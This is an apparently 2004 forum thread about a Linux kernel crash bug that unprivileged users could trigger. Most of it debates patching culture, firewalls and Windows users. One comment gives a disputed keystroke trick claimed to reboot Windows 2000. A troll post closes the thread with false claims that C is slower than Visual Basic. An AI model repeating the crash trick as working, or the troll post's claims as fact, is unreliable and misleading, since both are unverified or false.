New Linux Kernel Crash-Exploit discovered

Ant writes " According to linuxreviews article's on 6/11/2004, there is a nasty bug that lets a simple C program crash the kernel (2.4.18-2.6.x reported so far), effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. This exploit can be compiled and run without a root access and with a shell access. There are detailed information and source code mentioned. " You need to have shell access to run this program; it's also worth noting that not *all* flavors are vulnerable. Please read article for the full details.

Comments

There's a big difference...

[Allen Zadr]

Here is a perfect example of the difference between the Open Source way and a proprietary way.

There are goods and bads, however, the information is readily available. There are patches that "work", even before a full explanation is available. Now, thousands of people are actively working on a solution, if they so choose. If they don't choose, they can use the proprietary code method - wait for the official vendors to release a patch.

In proprietary land, a vendor would first sue the person who released the information. Then, the re-iteration that you won't be vulnerable if you use a "properly configured firewall," then they'd start working on a fix.

Re:There's a big difference...

[garcia]

There are goods and bads, however, the information is readily available. There are patches that "work", even before a full explanation is available.

This is how it always was. So? MS has plenty of patches out there for known vunerabilities (sometimes faster than others). Does it matter? NO. You know why? Windows users don't tend to care. They don't read Windows news sites daily, they don't subscribe to mailing lists that send out warnings as soon as a vunerability is found. They don't patch when Windows tells them to.

You know why? They don't care, they don't want to "break" anything, or they don't even know that the little icon in their taskbar is any different from their 1000 other ones in the tray.

Re:There's a big difference...

[cgenman]

I love how "properly configured firewall" is the solution to everything. Hackers root your box? You didn't have a properly configured firewall. System eaten by a worm? You should have had a properly configured firewall. Your windows box zombified and sending out spam? Seriously consider investing in a properly configured firewall.

Forget the firewall, get a properly implemented system.

Re:There's a big difference...

[Donny Smith]

>Windows users don't tend to care.

Or "Windows users tend not to care?"

Incidentally currently I'm a (primarily) Windows user and I do patch (actually it's "install updates") when Windows tells me they're ready (if I estimate I need the particular update).

Claiming that Windows users "don't care" just because they're Windows users is incorrect, to say the least.
How can people mod that as insightful? Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me..

Re:There's a big difference...

[Anonymous Coward]

Here's a neat trick to try under Windows 2000.

Open a command window (start->run->"cmd")
Ping any host (for example a host on your lan)
Now press F7 and enter a couple of times.

The machine reboots :)

This works on almost every W2K machine I've tried on, regardless of SP level. In general, local exploits like these aren't taken seriously at all on Windows. Basically, if you've got full access to the machine all bets are off, there's just so many ways to bluesceen the machine intentionally, many including interesting ways when messing with a cd-rom drive :) Contrast this with Unix/Linux having a long history of being multi-user OS's and regarding these issues as serious. We've been patching these issues for decades now and unforuntatly will likely continue to do so, but only recently has MS even aknowledged this as a problem.

Re:There's a big difference...

[Ford Prefect]

You know why? Windows users don't tend to care. They don't read Windows news sites daily, they don't subscribe to mailing lists that send out warnings as soon as a vunerability is found. They don't patch when Windows tells them to.

Sudden thought - is there much of a Windows 'community', or has it all fragmented into myriad different areas?

That's possibly one aspect in security that's often overlooked; for instance, when the recent Mac OS X vulnerabilities became known, word went around the Mac community very quickly, and people discovered new aspects of the problems, created workarounds like Paranoid Android...

There's something very similar with Linux as well - but is there a Windows equivalent of, say, Slashdot? Do Microsoft-oriented community discussion sites exist, complete with flamewars over widget styles in Microsoft Word, etc etc etc?

Or do you have to be an underdog for such a thing to exist?

Re:There's a big difference...

[AntiChris]

You know why? They don't care, they don't want to "break" anything, or they don't even know that the little icon in their taskbar is any different from their 1000 other ones in the tray.

That's right... they don't want to break the CometCursor, KaZaa, download managers, money savers, and other malware etc that are in the tray... then they wonder why their computers always crash and blame it on Microsoft.
I work as an IT Director for a real estate company and as a tech for Best Buy and at BB we've started a tally for the highest number of malware found by AdAware... I think the highest was well over 5000!!! Needless to say we recommended a restore O_o
-

Re:There's a big difference...

[Rectum2003]

What he is saying is that most Windows users are the masses that don't actually care. Other OSes don't have this problem due to the fact that they are mostly used by geeks that understand why it is so important to update your OS (any OS for that matter). Not to say that there are not millions of consciencious users (like you) who actually have a clue and know how to secure and patch a Windows machine, of course.

Re:There's a big difference...

[bamberg]

Yeah, the open source mentality at work - on day zero fo a vulnerability announcement, designate those offering free public computing as a "lame free-shell provider", and take them down, together with the users who depend on them.

This isn't the open source mentality and it's dishonest of you to claim it is. The following quote from the article:

"This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged)."

indicates that there have been reports that the bug is being exploited, not that open source supporters are intentionally crashing other people's boxes.

Only open source people would be stupid and nasty enough to do this sort of thing - if any software company took down its clients on purpose, they'd get seriously sued.

This is obviously untrue. Windows bugs are exploited all the time -- the people doing that are not "open source people". Why would say something so obviously incorrect in a forum where you're not likely to fool anyone?

Re:There's a big difference...

[grahamlee]

I think it's probably just fair to say that the number of Linux-scriptkiddie wannabies is as nonzero as the number of Windows-scriptkiddie wannabies, and that a trivial piece of code guaranteed to crash any Linux/x86 system is attractive to any number of scriptkiddies. They just chose to crash someone else's machine instead of their own - I went for trying it out on the latter and have since modified the kernel on that machine. Note though that the phrase "lame free-shell provider" is not attributable to the author of TFASA, who does go on to say "this is illegal in most parts of the world and strongly discouraged". That phrase was probably passed on to them by some skiddie who wanted to go "hey look at me i am so l33t it's unbelievable i can like read gcc-bug and everything!!!11".

Re:There's a big difference...

[Verteiron]

Real simple answer to that; you are not a typical Windows user.

The vast majority of Windows users behave exactly as the grandparent post states. I know this because I deal with the results every day in my shop. I'd guess that 80% of the machines I see are in due to spyware and virus problems that could have been fixed with a patch available weeks earlier. More often than not, when I get these systems up and running, the first thing that happens is "*pop* Windows has downloaded updates and is now ready to install them." So the updates were already downloaded, waiting for the user to click "Install"... but the user never did, for reasons already mentioned.

Automatic patching on XP Home would be doing end-users (and the internet!) a huge favor.

Re:There's a big difference...

[garcia]

Claiming that Windows users "don't care" just because they're Windows users is incorrect, to say the least. How can people mod that as insightful? Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me..

This is puzzling to you? Hmm, I am more puzzled by the fact that entire COMPANIES went down when some of the worms started spreading because of unpatched systems that should have been patched MONTHS (almost a year IIRC) before.

Now, if you are at a COMPANY and your system goes unpatched it's because the IT department there either doesn't believe the possible threat or does NOT care.

You read obviously read Slashdot therefore you are not a typical Windows user. You know about vunerabilities and even if Windows didn't tell you about them you'd still have an idea of what to watch out for (and possibly fix). My generalization is 100% dead on accurate. Most Windows users do not care, are afraid to patch, or just don't know.

Re:There's a big difference...

[Len Budney]

I love how "properly configured firewall" is the solution to everything. Hackers root your box? You didn't have a properly configured firewall. System eaten by a worm? You should have had a properly configured firewall. Your windows box zombified and sending out spam? Seriously consider investing in a properly configured firewall.

I've come up with the final word in firewall technology. What I do is connect my PC to the DSL router with a 10' ethernet cable. Then, using an approved tool, I carefully cut the cable, making sure to sever it completely. Haven't had a problem since.

What we really need is an article suggesting how I can speed up my downloads...

Re:There's a big difference...

[gfxguy]

You get that impression but there are a lot of slashdot users, even ones that use Linux (like me) who will defend MS when appropriate.

That said, it does seem to be true that a Linux patch will appear a lot more quickly than an MS patch, and that seems to be a result of the fact that it's open source.

Re:There's a big difference...

[the_mad_poster]

Yea, the only difference is that in OSS the steps are usually covered in about a third the time.

This hit the kernel-list dated 2004-06-09 21:02:57 . It is now 2004-06-14 09:41:12 in my neck of the woods, and it is patched. The last update mentioned on the article's page is yesterday. It would appear the patch was available in no more than 4 days. It takes more than four days for a lot of vendors just to look at the goddamn report. Then they spend the next week hoping it goes away on it's own. Then they ignore the follow ups. Two months later when the submitter has had enough, they go to FULL DISCLOSURE and the vendor gets pissed off and starts attacking the person who reported it for not giving them enough time to write a patch they haven't even started on. Then they spend another month making lousy excuses for why it's not a serious issue and half assed suggestions of what you can turn off to avoid the problem. Finally, after about four months of hand wringing, press releases, and general bullshit, you might get a patch. If you're lucky, it won't require you to start the process over again by introducing a brand new vulnerability. If you're lucky.

There's a huge difference here. The Linux folks jumped up and solved the problem. They didn't sit around pissing on their hands for months and making excuses like a lot of vendors do.

Re:There's a big difference...

[ynohoo]

Funnily enough the Windows version of Slashdot is Slashdot. It's also the equivelent site for Mac OSX, BeOs, Amiga... you may have noticed that Taco & friends don't wear the full strength Linux blinkers.

Re:There's a big difference...

[Fizzol]

In defence of the article "lame free-shell provider" is presented in quotes, it's not the website or the author using the term. It's a quote from the perpetrator. There's no connection to open source.

Re:There's a big difference...

[Anonymous Coward]

Doesn't crash my win2k pro box. I'm all for slagging off MS, but lets do it with real bugs eh?

Re:There's a big difference...

[MP3Chuck]

The tin-foil-hat crowd (on /. and elsewhere) would go bonkers if XP automaticaly auto-patched.

Damned if you do...

Re:There's a big difference...

[Allen Zadr]

A well patched system, Linux or Windows, doesn't need a firewall.

"WHAT YOU SAY!?"

I run a corporate network without a firewall. Every time a major issue comes around and destroys every freaking company around me, I go by with maybe two systems effected. Why? I stay up-to-date on all patches, and I keep relatively SANE security policies in place.

A firewall is a lot less necessary than firewall vendors would have you believe. My experience is that firewalls breed a false sense of security. Someone goes home over the weekend with a laptop - and comes back with a zombie virus/worm/etc. that goes and infects everything while the IT department is "taking their time" evaluating a security update for a month (I do 24 hour tests).

Why not firewall, is the other thing I hear. Mostly, it's so that every one of my systems can be an internet service provider. That's what the internet is about. Enabling users to say, hey - I've got that file right here on my local FTP, come get it. Here, log onto my VNC desktop, and I'll show you.

Firewalls create industries like WebEx. Because technology has come from 'wow, I didn't know you could do that,' to, 'I didn't know you could do that because I'm firewalled.'

Finally, "It doesn't happen very often," quite clearly means that it has happened. Call it pre-teen style bitching if you will, but a lawsuit should have never been threatened (AFAIK, a lawsuit never actually went to court). Is someone finds a vulnerability, full disclosure should not be the only method to have Microsoft take you seriously. My teen years are LONG behind me, maybe I'm just sick of having to deal with Microsoft's crap since Windows for Workgroups 3.11 (when the problems started for me).

Re:There's a big difference...

[Minwee]

Of course you realise that by doing that you are violating several patents on "Air Gap Firewall Technology".

Re:There's a big difference...

[frankrachel]

Yes, the problem was solved, but *how* does that fix get propogated to the masses. And I don't mean the techno-savvy masses - I mean my brother who I set up with Linux. He's not going to be patching his kernel, I can tell you that. He doesn't even know what a kernel is. Is an "auto installable" patch available for all the distributions? If not, then who cares how fast it was found and that a "patch" fix was available. When will the fix that ANYONE can easily install be available?

Re:There's a big difference...

[Anonymous Coward]

Now, if you are at a COMPANY and your system goes unpatched it's because the IT department there either doesn't believe the possible threat or does NOT care.

dont play that game... 3 months before the big nasty worm that hit I was threatened with being fired because I patched all my systems with thew RPC hole patch... Not by my supervisor but by a bunch of jerks in corperate IT... after it hit and we were immune to the problems, did I hear an "I'm sorry?" or anything else? nope.. my boss bought me lunch that entire week and wrote a shining/gleaming letter to be put in my employment file... but corperate asshats refused to acknowlege that a nobody from the midwest division knew more than them.

Most of the problems in companies that got nailed with the RPC hole worms was ignorance and apathy.. they do things "their way" and ignore anyone below them on the totem pole.. until the fire starts raging...

My boss and many of us are starting to change corperate IT by throwing them under the bus at every chance.... It's the only solution we can see to fix the problem.

Re:There's a big difference...

[maximilln]

Of course not. Typically the "cease, desist, and KEEP YOUR MOUTH SHUT" letter is plenty good enough.

Now that you really plug for it, though, wasn't there a guy in France who was on the run for publishing exploits in common Anti-Virus software? Slashdot even had a story about him. I tried googling, but "France antivirus vulnerability author" doesn't quite match the pages that I wanted.

Googling for "framed because proprietary software companies are opportunistic pigs" doesn't quite get it either.

Re:There's a big difference...

[Anonymous Coward]

Yeah, well, the so-called "tin-foil-hat crowd" has noticed the fact that autoupdate on windows XP is crap. Have you ever compared the list of updates it gets for you, to the list on the actual windows update site? I've had cases where there were 2-3 more critical updates that autoupdate didn't download.

It also doesn't help that it won't autoupdate service packs, causing everything after the service pack to just not show up, without autoupdate even notifying you that there is a service pack to manually download and install.

And way back when the slammer worm was big news, autoupdate got the patch to me the week after it made /. (complete with people griping that the patch was out "months ago"). And then got the patch again every day for the next 4 days.

Tin foil and conspiracy theory has nothing to do with the fact that I no longer trust autoupdate.

Re:There's a big difference...

[RickHunter]

Yup, and you know why? Because Microsoft tends to introduce arbitrary EULA or functionality changes in their patches. So with an autopatching system, you'd be agreeing to these changes implicitly. Whoops.

Re:There's a big difference...

[southpolesammy]

The tin-foil-hat crowd would probably also know how to disable any auto-patching. However, for the vast majority of Windows users, this would be a really, really good thing to have. To most of them, the computer is no different than a toaster or the cable box -- it just has to work. If that means little green guys inside the computer update it when needed, that's sufficient for most.

The reduction in spam and viruses alone would be worth the effort.

Re:There's a big difference...

[allism]

80% of the machines you see are in due to patchable problems....Does that mean that the whole world is mentally ill because 80% of the people a shrink sees are crazy? I would think that for the most part a computer doesn't end up in your shop unless there's a problem that the user can't fix - this does not mean that 80% of Windows users don't take care of their computers.

Re:There's a big difference...

[johnnyb]

I think that's because automatically patching is not the solution either. The problem is that many computer users want "easy" solutions to difficult problems. They would rather take an easy road that claims to work rather than one that actually solves the problem.

My Dad is a perfect case-in-point. He's an upper-level manager of a company. He was telling me about a piece of software he was planning on purchasing. I asked him about security. His answer was, simply, that the salesperson said it was secure.

There's two things wrong with this:

1) He took the salesperson's word. In previous generations, people's words meant something. Trying to train them to think skeptically is difficult. In addition, by what yardstick would he, a non-technical manager, measure security? What's worse is that I've met his IT staff, and I wouldn't trust them to measure security, either.

2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

Re:There's a big difference...

[zsau]

Didn't work for me. I just get a white screen in the middle of the command prompt with a purple border that says in purple 0: PING 192.168.0.7. Pressing Enter runs ping a couple times.

I'm far from a Windows fanboy. I use Linux almost all the time... I just happened to have a Windows box on my network atm.

Re:There's a big difference...

[peeping_Thomist]

The vast majority of Windows users behave exactly as the grandparent post states. I know this because I deal with the results every day in my shop. I'd guess that 80% of the machines I see [...]

What makes you think that the majority of Windows users take their computers to shops for software problems? In my experience, the only people who do that are the ones too technically incompetent to solve the problem and too socially incompetent to find a techie friend to help them.

Re:There's a big difference...

[Solosoft]

Why microsoft did just that. Windows XP SP2 has a new "security" center. It makes sure you have the 3 things which have haunted windows for ages.

- Automatic Updates
- Firewall
- Anti-Virus Solution


Windows XP SP2 has a new "Security Center", it will popup and complain to the user and tell it WHY it's enabling these things. Of course for people like us (mostly geeks) it's very annoying having Windows tell you what it's doing and if you choose not to it does it anyways.

Example: I am behind a Router/NAT and it complained it wanted it's firewall. It took me 20 minutes to find out how to disable that menu so it doesn't come up going "your computer is insecure".

The good thing about this is people who are open to the internet no longer worry about crap like this. Windows updates them , makes sure the AV suite is upto date and enables the firewall on all internet connections. The Firewall is better now not just blocking all the ports but it asks "Hey yahoo wants the net" so you can accept or deny it.

Once SP2 is out in final im sure all these little problems windows has with users hopefully will be solved.

Re:There's a big difference...

[nachoboy]

Windows users don't tend to care. They don't read Windows news sites daily, they don't subscribe to mailing lists that send out warnings as soon as a vunerability is found. They don't patch when Windows tells them to.

You know why? They don't care, they don't want to "break" anything, or they don't even know that the little icon in their taskbar is any different from their 1000 other ones in the tray.

The observation you make is correct. The group you apply it to is incorrectly targeted. Do you suppose that if all of the sudden the vast majority of these Windows users migrated to a more favored OS, they would magically read relevant OS news sites daily, subscribe to kernel mailing lists, and patch when their OS told them to? Of course not. Users are users. They're not interested in OS news or maintenance any more than they absolutely have to be (which, given the nature of modern technology, is practically nil). The fact that most computer users run Windows is largely an artifact of business dealings, not some concious decision on the part of the users.

No, the way to solve such problems for the computer users of the world is by providing better defaults, ie, automatic patching turned on out of the box. If you're part of the tinfoil hat crowd, go ahead and turn off automatic patching. If you like to patch manually and can be trusted to do it, go ahead and turn it off. But if you're part of the unwashed masses, your computer just takes care of itself.

Re:There's a big difference...

[martingunnarsson]

That sounds very good indeed! But how will the clueless users get SP2? :-)

Re:There's a big difference...

[jefe7777]

and i'm sure you are an idiot.

any cracker type will use ANY tool available to attack his target, open source, proprietary, underground you name it.

therefore the cracker CAN'T be "open source people" as you try to insert your little fud.

btw, i'm not "open source people" either, i use slack and os x. i use what i like.

Re:There's a big difference...

[maximilln]

2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

AMEN!

It's a problem that I run into quite often and not just with security. When you come to understand a topic intimately enough you learn that there is very little in the world that's a yes/no option. Everything requires a level of expertise and must be tailored to the specific task at hand. The issue is that the people requesting the services don't know, don't have time to learn, and don't want to learn. They want the yes/no answer to keep their life easy. If you're the person attempting to sell your services in order to keep food on the plate, however, you're faced with a dilemma: Say "yes" and possibly get mired in a situation which is impossible (secure a network full of users who are actively trying to break the network), or say "no" and don't get the job.

Re:There's a big difference...

[Allen Zadr]

To be perfectly fair there wasn't a NON-Internet Explorer specific security patch for Win98 for the last two years of active support.

ME of course, doesn't have to be secure, it will crash itself.

XP with SP2 will start shipping within 6 weeks of final release. It's currently under Release Candidate status, meaning it should be no more than 10 years away. (That was very sarcastic, really it should be within the next 60 days unless something really bad happens with the test code).

Re:There's a big difference...

[joeljkp]

Yeah, because I read every line of code in every piece of software I install, just to make sure nothing gets in that I don't want.

Let's be real. He has good reason to trust the company about security information, and they have good reason to present accurate information. If the software fails and he gets hacked, they company loses business at best, gets bad publicity and a nasty lawsuit at worst.

You act like people wanting easy solutions is a negative thing. Not everyone is a security expert. That's why we have security experts. Specialization is the key to progress. The less time we spend worrying about things we don't care about, the more time we can spend on things we do.

Re:There's a big difference...

[MachineShedFred]

As for your Win2k 'sploit, I call bullcrap. Doesn't work, but a nice command history comes up, so I'll thank you for that tip.

Oh, and saying that local exploits aren't taken seriously is both a major understatement, and a not-so-major problem. After all, you can fix all the Denial-of-Service exploits you want, but if someone has local access to the machine, they can always pull out the power cord.

That is not easily fixed with an OS patch. Never underestimate the use of a heavy door and good locks.

Re:There's a big difference...

[Allen Zadr]

Absolutely! An unpached RedHat 6.2 will become a zombie just as fast (if not faster) then an unpached Windows XP or 2000 machine.

The only difference is that the newer Linux installs ask you how you want the firewall configured (with a pretty secure setting as the "click next" default).

While XP users are waiting for Service Pack 2.

Re:There's a big difference...

[johnnyb]

"You act like people wanting easy solutions is a negative thing."

It's not negative. It's the hubris that assumes that there _must_ be an easy solution, and whoever presents a solution and calls it "easy" must have found the right answer.

"Not everyone is a security expert."

I'm not saying they are. The point is that they assume that people who tell them what they want to hear _are_ security experts.

"The less time we spend worrying about things we don't care about, the more time we can spend on things we do."

This is true. However, we do need to know enough about the things we don't care about to make good decisions on them and know how it affects what we do care about.

Re:There's a big difference...

[Allen Zadr]

I've been a Linux user for over 6 years, a UNIX Administrator for 8 years, and a Windows Administrator for 10 years.

If someone is determined to get into my machines (that means, without a script kit), then I am fully aware that all they have to do, is ask one of 80% of my users the right questions, and they'll have a password, through VPN or Firewall or anything short of GOD himself protecting my network, that person will get in. How's that for reality awareness?

In the mean time, the real-world issues that my users run into every day, tell me that I'm removing much more functionality than I am adding by putting in a firewall.

To complete your list;

1. Exploit
2. Announcement / Initial target identified, etc
3. Patch or Fix
4. Reverse info from patch and announcement turns into many varieties of script kit
5. Security awareness
6. CNN report about the casualties
7. The rest of the world (that knows how) starts to consider patching their systems, too.

I know that if my network is directly targeted by someone with both knowledge, skill and cunning, that they'll be able to break in. That's a reality that I can't control, simply because I have users.

When you say I'm new, I'd call you new. First is the discovery of computing, then is the technical side, and the geek stuff. Next is the realization that the geek stuff can be used to do nasty things. Where you are, is the realization that something should be actively done to stop it at all costs (sacrificing usability). Then there is multiple failures to realize the perfectly secure network (because of those damned user needs). Then, you will settle to where I've come to rest. Do what you can, don't sacrifice usability for security unless the security issue is critical and obvious (Clear and Present danger) - lest you have rogue users who will get the CEO to force you to bypass the rules.

Get smacked by a know-nothing CEO a few times then you'll realize that regardless of the size of the network, unless their security problems have been front page on the Wall Street Journal (rare), that security is not a priority.

What I do. Let every user know that I won't be able to get their stuff back if they let their computer get out-of-date. Let every user know what steps they have to take, weekly, to avoid the worst-case-scenario.
Other mitigating factors: 95% of my systems are laptops. They come and go on a daily basis. If they are not patched, the can and will come back with all the latest worms. In the last 5 years, I've never had a "new" worm successfully comprimise more than 2 computers. Every time, it's know-it-all users who think that the rules don't apply to them.

Otherwise, I could spend $250,000 (I'm not kidding on the price here) on security measures that would be quickly offset by a user lending his account info to a "friend". That's not to say that I ship systems with every possible service enabled. That's not to say that I think Mal-Ware won't happen (it has). But my incidents have been, in every case, less severe than companies around me where my friends work.

So, you can say I'm lucky, you can say that I've not presented a good target, that's fine. What I'm saying is that I live in the world where some 60% of people keep a key outside their house, but within 6 feet of the outside walls. You're only as strong as your weakest user, regardless of how much technology you dump into security. I choose to live out on the edge, and I've yet to be sorry about that decision.

Re:There's a big difference...

[gfxguy]

On the other hand, if you have a known vulnerability, then isn't it nice to have it fixed quickly (usually with the one liner you were talking about).

If there's a problem with that fix, another one will be along very quickly. It depends what you find preferable... leave your system open with a known vulnerability, or fix the known vulnerability with the possibility of opening a new one that no one knows about just yet.

It depends on your situation.

Re:There's a big difference...

[Odin's Raven]

I've come up with the final word in firewall technology. What I do is connect my PC to the DSL router with a 10' ethernet cable. Then, using an approved tool, I carefully cut the cable, making sure to sever it completely.

This is a common mistake that many first-time security administrators make. You're supposed to cut the cable before making the PC/router connection -- always implement your security protocol before connecting equipment to the outside world.

What we really need is an article suggesting how I can speed up my downloads...

Your downloads are probably slow because your machine was compromised during the time when your security was down - i.e., the interval between connecting the unsecured cable and the time you properly locked the connection down. Slow downloads are a key sign of a compromised system.

Once you suspect your machine's been compromised, there's really no safe solution other than reinstalling everything from scratch. I'd also suggest discarding the cable and getting a new one - since you didn't secure the cable first, there may be an RF resonance bug lurking on the PC half of the cable, waiting to reinfect your machine when you hook it back up.

You're obviously new to this, so just in case you haven't heard about them - RF resonance bugs use the reflection characteristics of an Ethernet cable to create a self-reinforcing standing-wave signal containing a copy of the virus. Older versions of these bugs could be dealt with simply by putting the cable in a Faraday cage and grounding the cable. But several of the more current RF resonator bugs contain quantum-mechanical sideband waveforms - put one of those in a Faraday cage and the q-m sidebands can refractively propogate into the cage itself, and you'll spend the rest of the day chasing down heisenbugs.

Anyways, don't feel bad about this - it's a common enough mistake when you're just getting started with security. And by posting on /. you may have helped several other novices avoid making the same mistake.

Re:There's a big difference...

[Kent Recal]

A *real* QA process, involving weeks of regression test passes and shedloads of machines.

So, is MS applying that *real* QA process?
If they do then it is obviously no solution to the problem.

Re:There's a big difference...

[Captain_Chaos]

They don't care, they don't want to "break" anything, ...

And rightly so. Day before yesterday, I was reinstalling Windows Millennium on my mom's PC. It was running nicely, but then I had the bright idea of running Windows Update to make sure I had the latest stability and security patches. Bingo: Internet Explorer didn't start anymore (hung the computer, requiring a reboot), and neither did anything even remotely having to do with Internet Explorer (including, of course, Windows Update). Had to reinstall Windows, now it's chugging along in its default install configuration (but with Firefox as browser, Thunderbird for email and behind a Linux firewall!)

Re:There's a big difference...

[Allen Zadr]

[Do] all your users require shell access?

No, and if they don't, wheather here, or in Mozambique, they can't get shell access either.

are they all familiar with strong passwords?

No, I assign the passwords, because I can't trust the users to do this. Yet, it's not difficult to get a user to tell you their password. It's sad, but true.

must all of your shell users be allowed to ssh from anywhere in the world?

If they need shell access, yes. This is rare though.

if many of your users have laptops that come and go from the building, just setup a seperate subnet for those users with strong firewall protection so it creates a separation between them and your critical systems. If I protect my network from my laptops, then I have only servers (and only 25 desktops) to protect. Then, I'm back to trying to use a personal firewall on every system we have. Check my other posts in this story to see how that's going. (not well).

after reading your reply, it is becoming clear that all of your backend network glue is all handled my Microsoft machines

Sadly, no. I only have a few Windows servers, all of my other servers run Linux (RedHat ES 2.1 and 3). However, 90% of my network is transient Windows XP laptops. All of the solutions that I can find are based on an Army of nailed down desktops that never turn off, and will always be able to quickly submit to the will of a domain controller.

if you think that usability is sacrificed because of security, then you really have a lot of learning to do.

Read this essay: http://www.fourmilab.ch/documents/digital-imprimat ur/
I found it quite interesting. And I find it's very easy to fall victim to this mentality. Why is WebEx the most successfull internet service company ever. Before two years ago, I used to be able to do software demos/desktop sharing and meetings with simple free software offerings. Now, due to firewalling, everyone has to pay WebEx for a really, painfully, simple service that used to be readily availble for free (NetMeeting, VNC, CUSeeMe, you name it). That's 0.30 to 0.50 cents per user per minute for something that should be free. Why? Because so many have freely and willingly sacrificed usability for security.

However, I would really be interested in any counterpoints. While others may think me a loud-mouth, I will listen, and on occasion will change my position if given a convincing argument.

Re:There's a big difference...

[Allen Zadr]

A bad bug that can crash the kernel after a user has access. There are more than one active issues that can cause Windows to crash, especially if you introduce a specially compiled program.

This one is a particularly nasty bug, in that it can be caused by a user account. Windows hasn't had an issue like that since, Blaster, almost a year ago.

They are multi-threaded computer operating systems, they do complex things, neither is perfect. Neither will ever be perfect (although, Win 98 was really close before reaching End-of-Life). And Microsoft is not always the most evil of the software makers. RedHat, SCO, HP, IBM and Novell have all had there turn being raked over the coals on the pages of Slashdot.

I have certainly noticed a positive feedback curve with Microsoft. I'd like to think it has a lot to do with the community getting pissed off when it makes a bone-headed choice. Less focus on Open Source, naturally, because there are so many different projects. However, individual projects have been trashed here as well.

I specifically avoided the name "Microsoft", thinking more in terms of 'closed UNIX' vs. 'Open BSD and Linux'. But most slashers are desktop users, and in the desktop it seems that only Apple, Linux and Microsoft (list alphabetical) currently apply.

Re:There's a big difference...

[benedict]

> In previous generations, people's words meant something.

Don't be ridiculous. Salespeople have been lying
since the beginning of time.

Re:There's a big difference...

[WiPEOUT]

The Windows "community", if you can call it that, is extremely diverse and disparate. The Microsoft-related communities are regionally- and/or technology-oriented. For example, the various VB forums on the web don't interact much with the COM/DCOM mailing lists, nor with the Host Integration Server 2000 newsgroup. The developer groups are very different to the admin groups, too. That's not to say there are no individuals that participate in multiple groups, but rather that the focus is different.

Also, on the various technical forums on the web, you will have "experts" of various grades proficient in Windows who help out people and each other, but this association is more to the goal at hand (eg. gaming, graphic arts, overclocking) or the community itself (eg. motoring enthusiasts, people living in a certain state) than the technology in use.

You may think this is somehow unusual, but since MS customers are interested in the products and what they can do with these products more than the philosophy of the company, it's not so hard to understand. Application developers will be interested in .NET, VB, SQL Server while sysadmins will look into Windows, Exchange, ISA. Sometimes there's cross-over, but even then the focus of developers looking into Windows internals will be different to that of the admins, and admins looking into SQL Server will not be looking into the aspects of SQL Server that most interest developers.

Professionals who work with Microsoft's technologies are simply interested in how it works, and what useful things they can do with it. Compared to the OSS community, there's little interest in non-technical discussion, and certainly a lot less interest in the individuals who head up technology groups. It's a more commercial association oriented around technologies than a technology association oriented about ideals.

These people are not anti-OSS any more than they are pro-Microsoft. They simply have had many different goals over the years, and Windows has enabled them to meet those goals -- often after a rocky road involving much learning. Some of these take to OSS solutions if given the occasion, and others are not interested in investing more time learning about technology, as they have higher priorities, or think the costs outweigh the potential benefits.

Windows is obviously superior

[Athas]

It doesn't require external programs in order to crash.

The best way to avoid this bug

[foidulus]

is to buy a mac and run yellow dog on it!

/ducks

Re:The best way to avoid this bug

[fubar1971]

Actually the best way to avoid this exploit is to remove shell access for all accounts except for the Administrator and root. If someone gains access to those accounts, it doesn't matter about the exploit, because your b0x3n is alreadey 0wn3d.

Re:The best way to avoid this bug

[TheRaven64]

The question is not when it will be modded down, but who will do the modding. Will it be:

1. Linux zealots moderating it down because it suggests that you buy a Mac, or
2. Mac zealots moderating it down because it suggests you don't use OS X?

Gentlemen, place your bets now.

Re:The best way to avoid this bug

[foidulus]

Well, so far I have received funny, interesting, offtopic, and flamebait mods. Nothing beats the sampler.

Wait,

[Anonymous Coward]

you want us to "read" the article and not jump headfirst into an open source vs. closed source flamewar??? :P

In case of slashdotting

[Anonymous Coward]

#include <stdio.h>

int main(void)
{
printf("I love Windows\n");
return (0);
}

Re:In case of slashdotting

[Transcendent]

That actualy doesn't work anymore... unless you haven't patched Win2k?

Also... that's a problem with printf() mainly... not windows.

This is another reason why C should be deprecated

[Anonymous Coward]

Gentlemen, the time has come for a serious discussion on whether or not to continue using C for serious programming projects. As I will explain, I feel that C needs to be retired, much the same way that Fortran, Cobol and Perl have been. Furthermore, allow me to be so bold as to suggest a superior replacement to this outdated language.

To give you a little background on this subject, I was recently asked to develop a client/server project on a Unix platform for a Fortune 500 company. While I've never coded in C before I have coded in VB for fifteen years, and in Java for over ten, I was stunned to see how poorly C fared compared to these two, more low-level languages.

C's biggest difficulty, as we all know, is the fact that it is by far one of the slowest languages in existance, especially when compared to more modern languages such as Java and C#. Although the reasons for this are varied, the main reasons seems to be the way C requires a programmer to laboriously work with chunks of memory.

Requiring a programmer to manipulate blocks of memory is a tedious way to program. This was satisfactory back in the early days of coding, but then again, so were punchcards. By using what are called "pointers" a C programmer is basically requiring the computer to do three sets of work rather than one. The first time requires the computer to duplicate whatever is stored in the memory space "pointed to" by the pointer. The second time requires it to perform the needed operation on this space. Finally the computer must delete the duplicate set and set the values of the original accordingly.

Clearly this is a horrendous use of resources and the chief reason why C is so slow. When one looks at a more modern (and a more serious) programming language like Java, C# or - even better - Visual Basic that lacks such archaic coding styles, one will also note a serious speed increase over C.

So what does this mean for the programming community? I think clearly that C needs to be abandonded. There are two candidates that would be a suitable replacement for it. Those are Java and Visual Basic.

Having programmed in both for many years, I believe that VB has the edge. Not only is it slightly faster than Java its also much easier to code in. I found C to be confusing, frightening and intimidating with its non-GUI-based coding style. Furthermore, I like to see the source code of the projects I work with. Java's source seems to be under the monopolistic thumb of Sun much the way that GCC is obscured from us by the marketing people at the FSF. Microsoft's "shared source" under which Visual Basic is released definately seems to be the most fair and reasonable of all the licenses in existance, with none of the harsh restrictions of the BSD license. It also lacks the GPLs requirement that anything coded with its tools becomes property of the
FSF.

